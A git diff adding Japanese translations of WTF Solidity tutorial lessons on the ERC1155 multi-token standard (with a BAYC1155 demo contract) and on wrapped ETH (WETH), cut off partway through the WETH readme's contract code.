b/Languages/ja/40_ERC1155_ja/img/40-7.jpg differ diff --git a/Languages/ja/40_ERC1155_ja/img/40-8.jpg b/Languages/ja/40_ERC1155_ja/img/40-8.jpg new file mode 100644 index 000000000..c34ffa749 Binary files /dev/null and b/Languages/ja/40_ERC1155_ja/img/40-8.jpg differ diff --git a/Languages/ja/40_ERC1155_ja/readme.md b/Languages/ja/40_ERC1155_ja/readme.md new file mode 100644 index 000000000..1931ae0e8 --- /dev/null +++ b/Languages/ja/40_ERC1155_ja/readme.md @@ -0,0 +1,651 @@ +--- +title: 40. ERC1155 +tags: + - solidity + - application + - wtfacademy + - ERC1155 +--- + +# WTF Solidity 超シンプル入門: 40. ERC1155 + +最近、Solidityを再学習し、詳細を確認しながら「WTF Solidity超シンプル入門」を作成しています。これは初心者向けのガイドです(プログラミング上級者は他のチュートリアルをご利用ください)。毎週1〜3レッスンを更新していきます。 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk) | [Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubでオープンソース化しています: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、一つのコントラクトが複数のトークンをサポートする`ERC1155`標準について学習します。そして、改造された退屈な猿 - `BAYC1155`を発行します。これは`10,000`種類のトークンを含み、メタデータは`BAYC`と一致します。 + +## `EIP1155` +`ERC20`や`ERC721`標準のいずれにおいても、各コントラクトは独立したトークンに対応しています。イーサリアム上で『World of Warcraft』のような大規模なゲームを構築すると仮定すると、各装備に対してコントラクトをデプロイする必要があります。数千の装備があれば数千のコントラクトをデプロイして管理する必要があり、これは非常に面倒です。そのため、[イーサリアムEIP1155](https://eips.ethereum.org/EIPS/eip-1155)は、一つのコントラクトが複数の同質化トークンと非同質化トークンを含むことができるマルチトークン標準`ERC1155`を提案しました。`ERC1155`はGameFiアプリケーションで最も多く使用されており、DecentralandやSandboxなどの有名なブロックチェーンゲームでも使用されています。 + +簡単に言うと、`ERC1155`は以前に紹介した非同質化トークン標準[ERC721](https://github.com/AmazingAng/WTF-Solidity/tree/main/34_ERC721)と似ています。`ERC721`では、各トークンに固有の識別子としての`tokenId`があり、各`tokenId`は一つのトークンにのみ対応します。一方、`ERC1155`では、各トークンタイプに固有の識別子としての`id`があり、各`id`は一種類のトークンに対応します。このように、トークンの種類を非同質的に同じコントラクト内で管理でき、各トークンタイプにはメタデータを格納するURL `uri`があり、これは`ERC721`の`tokenURI`に似ています。以下は`ERC1155`のメタデータインターフェースコントラクト`IERC1155MetadataURI`です: + +```solidity +/** + * @dev ERC1155のオプションインターフェース、uri()関数でメタデータを照会 + */ +interface IERC1155MetadataURI is IERC1155 { + /** + * @dev 第`id`種類トークンのURIを返す + */ + function uri(uint256 id) external view returns (string memory); +} +``` + +では、`ERC1155`の特定のトークンが同質化トークンか非同質化トークンかはどのように区別するのでしょうか?実は非常に簡単です。特定の`id`に対応するトークンの総供給量が`1`の場合、それは非同質化トークンで、`ERC721`と似ています。特定の`id`に対応するトークンの総供給量が`1`より大きい場合、それは同質化トークンです。これらのトークンは同じ`id`を共有するため、`ERC20`と似ています。 + +## `IERC1155`インターフェースコントラクト + +`IERC1155`インターフェースコントラクトは`EIP1155`で実装する必要がある機能を抽象化しており、`4`つのイベントと`6`つの関数を含んでいます。`ERC721`とは異なり、`ERC1155`は複数種類のトークンを含むため、バッチ転送とバッチ残高照会を実装し、一度の操作で複数種類のトークンを処理できます。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "https://github.com/AmazingAng/WTF-Solidity/blob/main/34_ERC721/IERC165.sol"; + +/** + * @dev ERC1155標準のインターフェースコントラクト、EIP1155の機能を実装 + * 詳細: https://eips.ethereum.org/EIPS/eip-1155[EIP]. + */ +interface IERC1155 is IERC165 { + /** + * @dev 単一種類トークン転送イベント + * `value`個の`id`種類のトークンが`operator`によって`from`から`to`に転送されたときに発行 + */ + event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); + + /** + * @dev バッチトークン転送イベント + * idsとvaluesは転送されるトークン種類と数量の配列 + */ + event TransferBatch( + address indexed operator, + address indexed from, + address indexed to, + uint256[] ids, + uint256[] values + ); + + /** + * @dev バッチ承認イベント + * `account`がすべてのトークンを`operator`に承認したときに発行 + */ + event ApprovalForAll(address indexed account, address indexed operator, bool approved); + + /** + * @dev `id`種類のトークンのURIが変更されたときに発行、`value`は新しいURI + */ + event URI(string value, uint256 indexed id); + + /** + * @dev 残高照会、`account`が所有する`id`種類のトークンの残高を返す + */ + function balanceOf(address account, uint256 id) external view returns (uint256); + + /** + * @dev バッチ残高照会、`accounts`と`ids`配列の長さは等しくなければならない + */ + function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) + external + view + returns (uint256[] memory); + + /** + * @dev バッチ承認、呼び出し元のトークンを`operator`アドレスに承認 + * {ApprovalForAll}イベントを発行 + */ + function setApprovalForAll(address operator, bool approved) external; + + /** + * @dev バッチ承認照会、承認アドレス`operator`が`account`によって承認されている場合`true`を返す + * {setApprovalForAll}関数を参照 + */ + function isApprovedForAll(address account, address operator) external view returns (bool); + + /** + * @dev 安全転送、`amount`単位の`id`種類のトークンを`from`から`to`に転送 + * {TransferSingle}イベントを発行 + * 要件: + * - 呼び出し元が`from`アドレスでない場合、`from`の承認が必要 + * - `from`アドレスは十分な残高を持つ必要がある + * - 受信者がコントラクトの場合、`IERC1155Receiver`の`onERC1155Received`メソッドを実装し、対応する値を返す必要がある + */ + function safeTransferFrom( + address from, + address to, + uint256 id, + uint256 amount, + bytes calldata data + ) external; + + /** + * @dev バッチ安全転送 + * {TransferBatch}イベントを発行 + * 要件: + * - `ids`と`amounts`の長さが等しい + * - 受信者がコントラクトの場合、`IERC1155Receiver`の`onERC1155BatchReceived`メソッドを実装し、対応する値を返す必要がある + */ + function safeBatchTransferFrom( + address from, + address to, + uint256[] calldata ids, + uint256[] calldata amounts, + bytes calldata data + ) external; +} +``` + +### `IERC1155`イベント +- `TransferSingle`イベント:単一種類トークン転送イベント、単一トークン種類転送時に発行されます。 +- `TransferBatch`イベント:バッチトークン転送イベント、複数トークン種類転送時に発行されます。 +- `ApprovalForAll`イベント:バッチ承認イベント、バッチ承認時に発行されます。 +- `URI`イベント:メタデータアドレス変更イベント、`uri`変更時に発行されます。 + +### `IERC1155`関数 +- `balanceOf()`:単一トークン種類残高照会、`account`が所有する`id`種類のトークンの残高を返します。 +- `balanceOfBatch()`:複数トークン種類残高照会、照会するアドレス`accounts`配列とトークン種類`ids`配列の長さは等しくなければなりません。 +- `setApprovalForAll()`:バッチ承認、呼び出し元のトークンを`operator`アドレスに承認します。 +- `isApprovedForAll()`:バッチ承認情報照会、承認アドレス`operator`が`account`によって承認されている場合`true`を返します。 +- `safeTransferFrom()`:安全単一トークン転送、`amount`単位の`id`種類のトークンを`from`アドレスから`to`アドレスに転送します。`to`アドレスがコントラクトの場合、`onERC1155Received()`受信関数が実装されているかを検証します。 +- `safeBatchTransferFrom()`:安全マルチトークン転送、単一トークン転送と似ていますが、転送数量`amounts`とトークン種類`ids`が配列になり、長さが等しくなければなりません。`to`アドレスがコントラクトの場合、`onERC1155BatchReceived()`受信関数が実装されているかを検証します。 + +## `ERC1155`受信コントラクト + +`ERC721`標準と同様に、トークンがブラックホールコントラクトに転送されることを避けるため、`ERC1155`ではトークン受信コントラクトが`IERC1155Receiver`を継承し、2つの受信関数を実装する必要があります: + +- `onERC1155Received()`:単一トークン転送受信関数、ERC1155安全転送`safeTransferFrom`を受け入れるために実装し、自身のセレクタ`0xf23a6e61`を返す必要があります。 + +- `onERC1155BatchReceived()`:マルチトークン転送受信関数、ERC1155安全マルチトークン転送`safeBatchTransferFrom`を受け入れるために実装し、自身のセレクタ`0xbc197c81`を返す必要があります。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "https://github.com/AmazingAng/WTF-Solidity/blob/main/34_ERC721/IERC165.sol"; + +/** + * @dev ERC1155受信コントラクト、ERC1155の安全転送を受け入れるためにはこのコントラクトを実装する必要がある + */ +interface IERC1155Receiver is IERC165 { + /** + * @dev ERC1155安全転送`safeTransferFrom`を受け入れる + * 0xf23a6e61 または `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`を返す必要がある + */ + function onERC1155Received( + address operator, + address from, + uint256 id, + uint256 value, + bytes calldata data + ) external returns (bytes4); + + /** + * @dev ERC1155バッチ安全転送`safeBatchTransferFrom`を受け入れる + * 0xbc197c81 または `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`を返す必要がある + */ + function onERC1155BatchReceived( + address operator, + address from, + uint256[] calldata ids, + uint256[] calldata values, + bytes calldata data + ) external returns (bytes4); +} +``` + +## `ERC1155`メインコントラクト + +`ERC1155`メインコントラクトは`IERC1155`インターフェースコントラクトで規定された関数を実装し、単一トークン/マルチトークンのミントとバーン関数も含みます。 + +### `ERC1155`変数 + +`ERC1155`メインコントラクトには`4`つの状態変数が含まれます: + +- `name`:トークン名 +- `symbol`:トークンシンボル +- `_balances`:トークン残高マッピング、トークン種類`id`下での特定アドレス`account`の残高`balances`を記録します。 +- `_operatorApprovals`:バッチ承認マッピング、所有アドレスが別のアドレスに与えた承認状況を記録します。 + +### `ERC1155`関数 + +`ERC1155`メインコントラクトには`16`の関数が含まれます: + +- コンストラクタ:状態変数`name`と`symbol`を初期化します。 +- `supportsInterface()`:`ERC165`標準を実装し、サポートするインターフェースを宣言して他のコントラクトがチェックできるようにします。 +- `balanceOf()`:`IERC1155`の`balanceOf()`を実装し、残高を照会します。`ERC721`標準とは異なり、ここでは照会する残高アドレス`account`とトークン種類`id`を入力する必要があります。 +- `balanceOfBatch()`:`IERC1155`の`balanceOfBatch()`を実装し、バッチ残高照会を行います。 +- `setApprovalForAll()`:`IERC1155`の`setApprovalForAll()`を実装し、バッチ承認を行い、`ApprovalForAll`イベントを発行します。 +- `isApprovedForAll()`:`IERC1155`の`isApprovedForAll()`を実装し、バッチ承認情報を照会します。 +- `safeTransferFrom()`:`IERC1155`の`safeTransferFrom()`を実装し、単一トークン種類安全転送を行い、`TransferSingle`イベントを発行します。`ERC721`と異なり、ここでは送信者`from`、受信者`to`、トークン種類`id`だけでなく、転送数量`amount`も入力する必要があります。 +- `safeBatchTransferFrom()`:`IERC1155`の`safeBatchTransferFrom()`を実装し、マルチトークン種類安全転送を行い、`TransferBatch`イベントを発行します。 +- `_mint()`:単一トークン種類ミント関数。 +- `_mintBatch()`:マルチトークン種類ミント関数。 +- `_burn()`:単一トークン種類バーン関数。 +- `_burnBatch()`:マルチトークン種類バーン関数。 +- `_doSafeTransferAcceptanceCheck`:単一トークン種類転送の安全チェック、`safeTransferFrom()`によって呼び出され、受信者がコントラクトの場合、`onERC1155Received()`関数が実装されていることを確認します。 +- `_doSafeBatchTransferAcceptanceCheck`:マルチトークン種類転送の安全チェック、`safeBatchTransferFrom`によって呼び出され、受信者がコントラクトの場合、`onERC1155BatchReceived()`関数が実装されていることを確認します。 +- `uri()`:`ERC1155`の第`id`種類トークンのメタデータを格納するURLを返し、`ERC721`の`tokenURI`に似ています。 +- `baseURI()`:`baseURI`を返し、`uri`は`baseURI`と`id`を連結したもので、開発者が再実装する必要があります。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "./IERC1155.sol"; +import "./IERC1155Receiver.sol"; +import "./IERC1155MetadataURI.sol"; +import "https://github.com/AmazingAng/WTF-Solidity/blob/main/34_ERC721/String.sol"; +import "https://github.com/AmazingAng/WTF-Solidity/blob/main/34_ERC721/IERC165.sol"; + +/** + * @dev ERC1155マルチトークン標準 + * 詳細 https://eips.ethereum.org/EIPS/eip-1155 + */ +contract ERC1155 is IERC165, IERC1155, IERC1155MetadataURI { + + using Strings for uint256; // Stringライブラリを使用 + // トークン名 + string public name; + // トークンシンボル + string public symbol; + // トークン種類id から アカウントaccount から 残高balances へのマッピング + mapping(uint256 => mapping(address => uint256)) private _balances; + // address から 承認アドレス へのバッチ承認マッピング + mapping(address => mapping(address => bool)) private _operatorApprovals; + + /** + * コンストラクタ、`name` と `symbol`を初期化 + */ + constructor(string memory name_, string memory symbol_) { + name = name_; + symbol = symbol_; + } + + /** + * @dev {IERC165-supportsInterface}を参照 + */ + function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { + return + interfaceId == type(IERC1155).interfaceId || + interfaceId == type(IERC1155MetadataURI).interfaceId || + interfaceId == type(IERC165).interfaceId; + } + + /** + * @dev 残高照会 IERC1155のbalanceOfを実装、accountアドレスのid種類トークン残高を返す + */ + function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { + require(account != address(0), "ERC1155: address zero is not a valid owner"); + return _balances[id][account]; + } + + /** + * @dev バッチ残高照会 + * 要件: + * - `accounts` と `ids` 配列の長さが等しい + */ + function balanceOfBatch(address[] memory accounts, uint256[] memory ids) + public view virtual override + returns (uint256[] memory) + { + require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); + uint256[] memory batchBalances = new uint256[](accounts.length); + for (uint256 i = 0; i < accounts.length; ++i) { + batchBalances[i] = balanceOf(accounts[i], ids[i]); + } + return batchBalances; + } + + /** + * @dev バッチ承認、呼び出し元がoperatorにすべてのトークンの使用を承認 + * {ApprovalForAll}イベントを発行 + * 条件:msg.sender != operator + */ + function setApprovalForAll(address operator, bool approved) public virtual override { + require(msg.sender != operator, "ERC1155: setting approval status for self"); + _operatorApprovals[msg.sender][operator] = approved; + emit ApprovalForAll(msg.sender, operator, approved); + } + + /** + * @dev バッチ承認照会 + */ + function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { + return _operatorApprovals[account][operator]; + } + + /** + * @dev 安全転送、`amount`単位の`id`種類トークンを`from`から`to`に転送 + * {TransferSingle}イベントを発行 + * 要件: + * - to はゼロアドレスではない + * - from は十分な残高を持ち、呼び出し元は承認を持つ + * - to がスマートコントラクトの場合、IERC1155Receiver-onERC1155Receivedをサポートする必要がある + */ + function safeTransferFrom( + address from, + address to, + uint256 id, + uint256 amount, + bytes memory data + ) public virtual override { + address operator = msg.sender; + // 呼び出し元は所有者または承認されている + require( + from == operator || isApprovedForAll(from, operator), + "ERC1155: caller is not token owner nor approved" + ); + require(to != address(0), "ERC1155: transfer to the zero address"); + // fromアドレスは十分な残高を持つ + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); + // 残高を更新 + unchecked { + _balances[id][from] = fromBalance - amount; + } + _balances[id][to] += amount; + // イベントを発行 + emit TransferSingle(operator, from, to, id, amount); + // 安全チェック + _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); + } + + /** + * @dev バッチ安全転送、`amounts`配列単位の`ids`配列種類トークンを`from`から`to`に転送 + * {TransferBatch}イベントを発行 + * 要件: + * - to はゼロアドレスではない + * - from は十分な残高を持ち、呼び出し元は承認を持つ + * - to がスマートコントラクトの場合、IERC1155Receiver-onERC1155BatchReceivedをサポートする必要がある + * - ids と amounts 配列の長さが等しい + */ + function safeBatchTransferFrom( + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) public virtual override { + address operator = msg.sender; + // 呼び出し元は所有者または承認されている + require( + from == operator || isApprovedForAll(from, operator), + "ERC1155: caller is not token owner nor approved" + ); + require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); + require(to != address(0), "ERC1155: transfer to the zero address"); + + // forループで残高を更新 + for (uint256 i = 0; i < ids.length; ++i) { + uint256 id = ids[i]; + uint256 amount = amounts[i]; + + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + _balances[id][to] += amount; + } + + emit TransferBatch(operator, from, to, ids, amounts); + // 安全チェック + _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); + } + + /** + * @dev ミント + * {TransferSingle}イベントを発行 + */ + function _mint( + address to, + uint256 id, + uint256 amount, + bytes memory data + ) internal virtual { + require(to != address(0), "ERC1155: mint to the zero address"); + + address operator = msg.sender; + + _balances[id][to] += amount; + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); + } + + /** + * @dev バッチミント + * {TransferBatch}イベントを発行 + */ + function _mintBatch( + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) internal virtual { + require(to != address(0), "ERC1155: mint to the zero address"); + require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); + + address operator = msg.sender; + + for (uint256 i = 0; i < ids.length; i++) { + _balances[ids[i]][to] += amounts[i]; + } + + emit TransferBatch(operator, address(0), to, ids, amounts); + + _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); + } + + /** + * @dev バーン + */ + function _burn( + address from, + uint256 id, + uint256 amount + ) internal virtual { + require(from != address(0), "ERC1155: burn from the zero address"); + + address operator = msg.sender; + + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + + emit TransferSingle(operator, from, address(0), id, amount); + } + + /** + * @dev バッチバーン + */ + function _burnBatch( + address from, + uint256[] memory ids, + uint256[] memory amounts + ) internal virtual { + require(from != address(0), "ERC1155: burn from the zero address"); + require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); + + address operator = msg.sender; + + for (uint256 i = 0; i < ids.length; i++) { + uint256 id = ids[i]; + uint256 amount = amounts[i]; + + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + } + + emit TransferBatch(operator, from, address(0), ids, amounts); + } + + // エラー 無効な受信者 + error ERC1155InvalidReceiver(address receiver); + + // @dev ERC1155の安全転送チェック + function _doSafeTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256 id, + uint256 amount, + bytes memory data + ) private { + if (to.code.length > 0) { + try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { + if (response != IERC1155Receiver.onERC1155Received.selector) { + revert ERC1155InvalidReceiver(to); + } + } catch (bytes memory reason) { + if (reason.length == 0) { + revert ERC1155InvalidReceiver(to); + } else { + /// @solidity memory-safe-assembly + assembly { + revert(add(32, reason), mload(reason)) + } + } + } + } + } + + // @dev ERC1155のバッチ安全転送チェック + function _doSafeBatchTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) private { + if (to.code.length > 0) { + try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( + bytes4 response + ) { + if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { + revert ERC1155InvalidReceiver(to); + } + } catch (bytes memory reason) { + if (reason.length == 0) { + revert ERC1155InvalidReceiver(to); + } else { + /// @solidity memory-safe-assembly + assembly { + revert(add(32, reason), mload(reason)) + } + } + } + } + } + + /** + * @dev ERC1155のid種類トークンのuriを返し、metadata を格納、ERC721のtokenURIに似ている + */ + function uri(uint256 id) public view virtual override returns (string memory) { + string memory baseURI = _baseURI(); + return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, id.toString())) : ""; + } + + /** + * {uri}のBaseURIを計算、uriはbaseURIとtokenIdを連結したもので、開発者が再実装する必要がある + */ + function _baseURI() internal view virtual returns (string memory) { + return ""; + } +} +``` + +## `BAYC`だが`ERC1155` + +`ERC721`標準の退屈な猿`BAYC`を改造して、無料ミントの`BAYC1155`を作成しましょう。`_baseURI()`関数を修正して、`BAYC1155`の`uri`が`BAYC`の`tokenURI`と同じになるようにします。これにより、`BAYC1155`のメタデータは退屈な猿と同じになります: + +```solidity +// SPDX-License-Identifier: MIT +// by 0xAA +pragma solidity ^0.8.21; + +import "./ERC1155.sol"; + +contract BAYC1155 is ERC1155{ + uint256 constant MAX_ID = 10000; + // コンストラクタ + constructor() ERC1155("BAYC1155", "BAYC1155"){ + } + + //BAYCのbaseURIは ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + function _baseURI() internal pure override returns (string memory) { + return "ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/"; + } + + // ミント関数 + function mint(address to, uint256 id, uint256 amount) external { + // id は 10,000 を超えることはできない + require(id < MAX_ID, "id overflow"); + _mint(to, id, amount, ""); + } + + // バッチミント関数 + function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts) external { + // id は 10,000 を超えることはできない + for (uint256 i = 0; i < ids.length; i++) { + require(ids[i] < MAX_ID, "id overflow"); + } + _mintBatch(to, ids, amounts, ""); + } +} +``` + +## Remixデモンストレーション + +### 1. `BAYC1155`コントラクトをデプロイ +![デプロイ](./img/40-1.jpg) + +### 2. メタデータ`uri`を確認 +![メタデータ確認](./img/40-2.jpg) + +### 3. `mint`して残高変化を確認 +`mint`欄にアカウントアドレス、`id`、数量を入力し、`mint`ボタンをクリックしてミントします。数量が`1`の場合は非同質化トークン、数量が`1`より大きい場合は同質化トークンになります。 + +![mint1](./img/40-3.jpg) + +`balanceOf`欄にアカウントアドレスと`id`を入力して対応する残高を確認 + +![mint2](./img/40-4.jpg) + +### 4. バッチ`mint`して残高変化を確認 +`mintBatch`欄にミントする`ids`配列と対応する数量を入力、2つの配列の長さは等しくなければなりません + +![batchmint1](./img/40-5.jpg) + +ミントしたトークン`id`配列を入力すると確認できます + +![batchmint2](./img/40-6.jpg) + +### 5. バッチ転送して残高変化を確認 + +ミントと同様ですが、今回は対応するトークンを持つアドレスから新しいアドレスに転送します。このアドレスは通常のアドレスでもコントラクトアドレスでも構いません。コントラクトアドレスの場合、`onERC1155Received()`受信関数が実装されているかを検証します。 + +ここでは通常のアドレスに転送し、`ids`と`amounts`配列を入力します。 + +![transfer1](./img/40-7.jpg) + +転送先アドレスの残高変化を確認します。 + +![transfer2](./img/40-8.jpg) + +## まとめ + +今回はイーサリアム`EIP1155`で提案された`ERC1155`マルチトークン標準について学習しました。これは一つのコントラクトに複数の同質化または非同質化トークンを含むことを可能にします。そして、改造版退屈な猿 - `BAYC1155`を作成しました:`10,000`種類のトークンを含み、メタデータが`BAYC`と同じ`ERC1155`トークンです。現在、`ERC1155`は主に`GameFi`で応用されています。しかし、メタバース技術が発展し続けるにつれて、この標準はますます人気になると信じています。 \ No newline at end of file diff --git a/Languages/ja/41_WETH_ja/WETH.sol b/Languages/ja/41_WETH_ja/WETH.sol new file mode 100644 index 000000000..1e5e7566c --- /dev/null +++ b/Languages/ja/41_WETH_ja/WETH.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +// author: 0xAA +// original contract on ETH: https://rinkeby.etherscan.io/token/0xc778417e063141139fce010982780140aa0cd5ab?a=0xe16c1623c1aa7d919cd2241d8b36d9e79c1be2a2#code +pragma solidity ^0.8.0; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract WETH is ERC20{ + // イベント:預金と引出 + event Deposit(address indexed dst, uint wad); + event Withdrawal(address indexed src, uint wad); + + // コンストラクタ、ERC20の名前とシンボルを初期化 + constructor() ERC20("WETH", "WETH"){ + } + + // フォールバック関数、ユーザーがWETHコントラクトにETHを送金すると、deposit()関数がトリガーされる + fallback() external payable { + deposit(); + } + // リシーブ関数、ユーザーがWETHコントラクトにETHを送金すると、deposit()関数がトリガーされる + receive() external payable { + deposit(); + } + + // 預金関数、ユーザーがETHを預けると、等量のWETHをミントする + function deposit() public payable { + _mint(msg.sender, msg.value); + emit Deposit(msg.sender, msg.value); + } + + // 引出関数、ユーザーがWETHを破棄し、等量のETHを取り戻す + function withdraw(uint amount) public { + require(balanceOf(msg.sender) >= amount); + _burn(msg.sender, amount); + payable(msg.sender).transfer(amount); + emit Withdrawal(msg.sender, amount); + } +} \ No newline at end of file diff --git a/Languages/ja/41_WETH_ja/img/41-1.gif b/Languages/ja/41_WETH_ja/img/41-1.gif new file mode 100644 index 000000000..8787b5d91 Binary files /dev/null and b/Languages/ja/41_WETH_ja/img/41-1.gif differ diff --git a/Languages/ja/41_WETH_ja/img/41-2.jpg b/Languages/ja/41_WETH_ja/img/41-2.jpg new file mode 100644 index 000000000..8954b2617 Binary files /dev/null and b/Languages/ja/41_WETH_ja/img/41-2.jpg differ diff --git a/Languages/ja/41_WETH_ja/img/41-3.jpg b/Languages/ja/41_WETH_ja/img/41-3.jpg new file mode 100644 index 000000000..84b3fe921 Binary files /dev/null and b/Languages/ja/41_WETH_ja/img/41-3.jpg differ diff --git a/Languages/ja/41_WETH_ja/img/41-4.jpg b/Languages/ja/41_WETH_ja/img/41-4.jpg new file mode 100644 index 000000000..4631bf765 Binary files /dev/null and b/Languages/ja/41_WETH_ja/img/41-4.jpg differ diff --git a/Languages/ja/41_WETH_ja/img/41-5.jpg b/Languages/ja/41_WETH_ja/img/41-5.jpg new file mode 100644 index 000000000..dc208d461 Binary files /dev/null and b/Languages/ja/41_WETH_ja/img/41-5.jpg differ diff --git a/Languages/ja/41_WETH_ja/img/41-6.jpg b/Languages/ja/41_WETH_ja/img/41-6.jpg new file mode 100644 index 000000000..ebdb54b6e Binary files /dev/null and b/Languages/ja/41_WETH_ja/img/41-6.jpg differ diff --git a/Languages/ja/41_WETH_ja/img/41-7.jpg b/Languages/ja/41_WETH_ja/img/41-7.jpg new file mode 100644 index 000000000..844802ab5 Binary files /dev/null and b/Languages/ja/41_WETH_ja/img/41-7.jpg differ diff --git a/Languages/ja/41_WETH_ja/img/41-8.jpg b/Languages/ja/41_WETH_ja/img/41-8.jpg new file mode 100644 index 000000000..0d45e09aa Binary files /dev/null and b/Languages/ja/41_WETH_ja/img/41-8.jpg differ diff --git a/Languages/ja/41_WETH_ja/readme.md b/Languages/ja/41_WETH_ja/readme.md new file mode 100644 index 000000000..5673335a1 --- /dev/null +++ b/Languages/ja/41_WETH_ja/readme.md @@ -0,0 +1,134 @@ +--- +title: 41. WETH +tags: + - solidity + - application + - ERC20 + - fallback +--- + +# WTF Solidity 超簡単な入門: 41. WETH + +最近、私はSolidityを学び直し、詳細を固めるとともに、初心者向けの「WTF Solidity 超簡単な入門」を書いています(プログラミングの上級者は他のチュートリアルを探してください)。毎週1-3レッスンを更新しています。 + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ: [Discord](https://discord.gg/5akcruXrsk)|[WeChat群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはGitHubでオープンソース化されています: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回のレッスンでは、`WETH`(Wrapped ETH:ラップドETH)について学習します。 + +## `WETH`とは何ですか? + +![WETH](./img/41-1.gif) + +`WETH`(Wrapped ETH)は`ETH`のラップ版です。一般的に見かける`WETH`、`WBTC`、`WBNB`は、すべてラップされたネイティブトークンです。なぜこれらをラップする必要があるのでしょうか? + +2015年に[ERC20](https://github.com/AmazingAng/WTF-Solidity/blob/main/20_SendETH/readme.md)標準が登場しました。このトークン標準は、イーサリアム上のトークンに標準化されたルールセットを確立することを目的としており、新しいトークンの発行を簡素化し、ブロックチェーン上のすべてのトークンを相互に比較可能にしました。残念ながら、イーサ(ETH)自体は`ERC20`標準に準拠していません。`WETH`の開発は、ブロックチェーン間の相互運用性を向上させ、`ETH`を分散型アプリケーション(dApps)で使用できるようにするために行われました。これは、ネイティブトークンにスマートコントラクトで作られた服を着せるようなものです:服を着ているときは`WETH`となり、`ERC20`同質化トークン標準に準拠し、クロスチェーンやdAppで使用できます;服を脱ぐと、1:1で`ETH`に交換できます。 + +## `WETH`コントラクト + +現在使用されている[メインネットWETHコントラクト](https://rinkeby.etherscan.io/token/0xc778417e063141139fce010982780140aa0cd5ab?a=0xe16c1623c1aa7d919cd2241d8b36d9e79c1be2a2)は2015年に書かれ、非常に古く、その時のSolidityは0.4版でした。私たちは0.8版で`WETH`を書き直します。 + +`WETH`は`ERC20`標準に準拠しており、通常の`ERC20`よりも2つの追加機能があります: + +1. 預金(deposit):ラッピング。ユーザーが`ETH`を`WETH`コントラクトに預け、等量の`WETH`を取得します。 + +2. 引出(withdraw):アンラッピング。ユーザーが`WETH`を破棄し、等量の`ETH`を取得します。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract WETH is ERC20{ + // イベント:預金と引出 + event Deposit(address indexed dst, uint wad); + event Withdrawal(address indexed src, uint wad); + + // コンストラクタ、ERC20の名前とシンボルを初期化 + constructor() ERC20("WETH", "WETH"){ + } + + // フォールバック関数、ユーザーがWETHコントラクトにETHを送金すると、deposit()関数がトリガーされる + fallback() external payable { + deposit(); + } + // リシーブ関数、ユーザーがWETHコントラクトにETHを送金すると、deposit()関数がトリガーされる + receive() external payable { + deposit(); + } + + // 預金関数、ユーザーがETHを預けると、等量のWETHをミントする + function deposit() public payable { + _mint(msg.sender, msg.value); + emit Deposit(msg.sender, msg.value); + } + + // 